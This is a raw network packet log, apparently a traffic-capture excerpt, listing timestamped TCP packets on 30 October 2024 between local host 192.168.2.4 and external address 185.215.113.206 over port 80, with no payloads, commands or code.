Oct 30, 2024 06:16:33.616307020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616323948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616342068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616352081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616363049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616373062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616383076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616405010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616420984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616434097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616445065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616458893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616466999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616477013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616486073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616503954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616519928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616599083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616609097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616619110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616628885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616645098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616662025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616728067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616739035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616755962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616764069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616775990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616781950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616794109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616799116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616811037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616816044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616831064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616847038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616863966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616875887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616887093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616897106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616905928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616913080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616921902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.616930962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616949081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.616995096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617005110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617016077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617029905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617063999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617082119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617093086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617105007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617116928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617124081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617153883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617162943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617172003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617180109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617191076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617197037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617207050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617214918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617233038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617259026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617275953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617324114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617328882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617337942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.617357016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.617372990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.648989916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649049044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649060011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649070978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649081945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649099112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649113894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649118900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649132013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649141073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649159908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649169922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649179935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649190903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649202108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649214029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649236917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649338007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649348021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649358034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649369001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649377108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649393082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649398088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649405003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649414062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649421930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649439096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649454117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649463892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649470091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649480104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649487972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649498940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649506092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649513960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649523973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649530888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649545908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649569988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649586916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649596930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649605989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649616957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649626970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649652004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649729967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649739027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649749041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649763107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649774075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649820089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649931908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649940014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649950027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.649976015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.649986982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.650007963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650017977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650027037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650046110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650055885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650072098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650083065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650091887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650104046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650113106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650124073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650182009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650192976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650209904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650219917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650226116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.650237083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650259018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.650274038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.650336981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650346994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650357008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650367022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650473118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.650490999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650501966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650516987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650527954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650537968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.650602102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.734895945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.734915018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.734925985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.734937906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.734951019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.734962940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.734975100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.734986067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.734994888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735008001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735018015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735028982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735039949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735049009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735066891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735074043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735084057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735093117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735124111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735124111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735132933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735145092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735156059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735167027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735174894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735193968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735199928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735215902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735224962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735234976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735245943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735254049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735263109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735275984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735285044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735290051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735302925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735317945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735327005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735343933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735354900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735362053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735378981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735384941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735397100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735405922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735421896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735430956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735438108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735447884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735462904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735477924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735486031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735496044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735503912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735519886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735527039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735537052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735548019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735553980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735567093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735573053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735584021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735590935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735598087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735608101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735624075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735632896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735640049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735656977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735663891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735672951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735687971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735693932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735708952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735718012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735723019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735733032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735744953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735754013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735765934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735774040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735780954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735790014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735800982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735807896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735816956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735822916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735832930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735841990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735852957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735857964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735863924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735871077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735886097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735893011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735898018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735905886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735918045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735924959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735934973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735944986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735959053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735964060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.735992908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.735999107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736007929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736023903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736041069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736046076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736053944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736064911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736073017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736084938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736090899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736099958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736105919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736114979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736121893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736135960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736149073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736241102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736253977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736263037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736275911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736289024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736295938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736306906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736341000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736458063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736468077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736478090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736488104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736495018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736505985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736512899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736526012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736540079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736543894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736552954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736562014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736567974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736576080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736596107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736610889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736618996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736654043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736707926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736716986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736726999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736737013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736747026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736756086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736763000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736780882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736787081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736794949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736805916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736815929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736820936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.736841917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.736865997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.768311977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768397093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.768457890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768466949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768476009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768485069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768493891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768500090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.768516064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768526077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768538952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.768547058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768553019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.768560886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768570900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768578053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.768585920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768596888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.768603086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768611908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.768623114 CET	49758	80	192.168.2.4	185.215.113.206
